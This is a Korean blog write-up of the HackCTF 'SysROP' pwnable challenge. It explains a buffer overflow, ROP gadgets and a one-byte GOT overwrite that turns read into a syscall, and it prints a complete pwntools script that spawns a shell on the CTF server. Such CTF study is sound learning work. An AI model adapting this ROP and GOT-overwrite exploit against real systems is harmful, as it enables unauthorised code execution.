일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- master canary
- seccomp
- heap
- K-shield Junior
- Dynamic Analysis
- BOF
- GOT overwrite
- Lazenca
- _IO_FILE
- heap feng shui
- ROP
- DFB
- H4CKING GAME
- Reversing
- _IO_FILE Arbitrary Address Read
- Android
- DFC 2022
- RTL
- vtable
- srop
- DreamHack
- HackCTF
- __environ
- heap exploit
- tcache
- malware
- 나뭇잎 책
- _IO_FILE Arbitrary Address Write
- UAF
- shellcode
- Today
- Total
Studying Security
[HackCTF] pwnable: SysROP 풀이 본문
Mitigation
Vulnerability Analysis
file 명령어로 바이너리 파일 보면 stripped가 되어있는 것을 확인할 수 있는데 이는 실행에 필요한 부분을 제외한 부분을 제거함으로써 실행파일의 크기를 줄이는 것이라고 한다.
그래서 debugging을 하기위해 gdb로 열어 보았을 때 main함수의 symbol이 존재하지 않아 해당 주소를 찾아봄
read 함수를 가지고 BOF가 가능하도록 되어 있다. 하지만 쓰기함수를 통해 leak가 불가능하다.
syscall instruction을 이용해 exploit해보자
gadget을 살펴보면 pop rax; pop rdx; pop rdi; pop rsi; ret gadget으로
pop rax --> system call
pop rdx; pop rdi; pop rsi; --> 인자 설정
하지만 syscall gadget이 없다... 이를 어떻게 해야할까...??
libc파일에 있는 syscall을 이용하자
dynamic linking 된 libc파일에 있는 syscall gadget을 어떻게 구할까??
libc에 있는 syscall가젯의 하위 1Byte를 GOT_Overwrite해서 syscall을 사용할 수 있다.
libc에 있는 read의 syscall과 dynamic linking된 상태의 read의 syscall을 보면 하위 12bit가 일치하다는 것을 알 수 있음
따라서 서버에 맞는 libc파일의 하위 1Byte를 GOT_Overwrite를 하면 해당 함수를 syscall처럼 이용 가능하다.
Payload 작성
- read( 0, bss, 0x10) → bss 영역에 "/bin/sh" 문자열 입력
- read( 0, read_got, 1) → read_got 하위 1byte를 syscall gadget의 주소로 GOT_Overwrite
- execve( "/bin/sh", 0, 0) → shell 획득을 위한 execve system call
Exploit code
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3024)
e = ELF("./sysrop")
libc = ELF("./libc.so.6")
bss = e.bss()+0x400
read_got = e.got["read"]
read_plt = e.plt["read"]
pop_rax_rdx_rdi_rsi = 0x00000000004005ea
pop_rdx_rdi_rsi = 0x00000000004005eb
main = 0x4005f2
# read( 0, bss, 0x10)
payload = "A"*0x18
payload += p64(pop_rdx_rdi_rsi)
payload += p64(0x10)
payload += p64(0)
payload += p64(bss)
payload += p64(read_plt)
payload += p64(main)
p.sendline(payload)
sleep(0.1)
p.sendline("/bin/sh\x00")
sleep(0.1)
# read( 0, read_got, 1)
payload = "A"*0x18
payload += p64(pop_rdx_rdi_rsi)
payload += p64(1)
payload += p64(0)
payload += p64(read_got)
payload += p64(read_plt)
# execve( "/bin/sh", 0, 0)
payload += p64(pop_rax_rdx_rdi_rsi)
payload += p64(0x3b)
payload += p64(0)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)
p.sendline(payload)
sleep(0.1)
p.send("\x5e")
sleep(0.1)
p.interactive()
Result
새로 접한 사실
- libc에 있는 syscall가젯의 하위 1Byte를 GOT_Overwrite해서 syscall을 사용할 수 있다.
Reference
Syscall 가젯이 없을 때
Pwnable문제를 풀다보면 syscall로 익스를 해야될 때가 있다. 딱 언제라고 예를 들기는 어렵지만, 여러가지 제한들이 걸려있는 상황이 그렇다. RTL이 불가능할 때? 이 때 제일 많이 사용했던 것 같다.
py0zz1.tistory.com
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] pwnable: Unexploitable #3 풀이 (0) | 2022.04.15 |
---|---|
[HackCTF] pwnable: World Best Encryption 풀이 (0) | 2022.04.15 |
[HackCTF] pwnable: Unexploitable #2 풀이 (0) | 2022.04.13 |
[HackCTF] pwnable: Random Key 풀이 (0) | 2022.04.12 |
[HackCTF] pwnable: RTC 풀이 (0) | 2022.04.12 |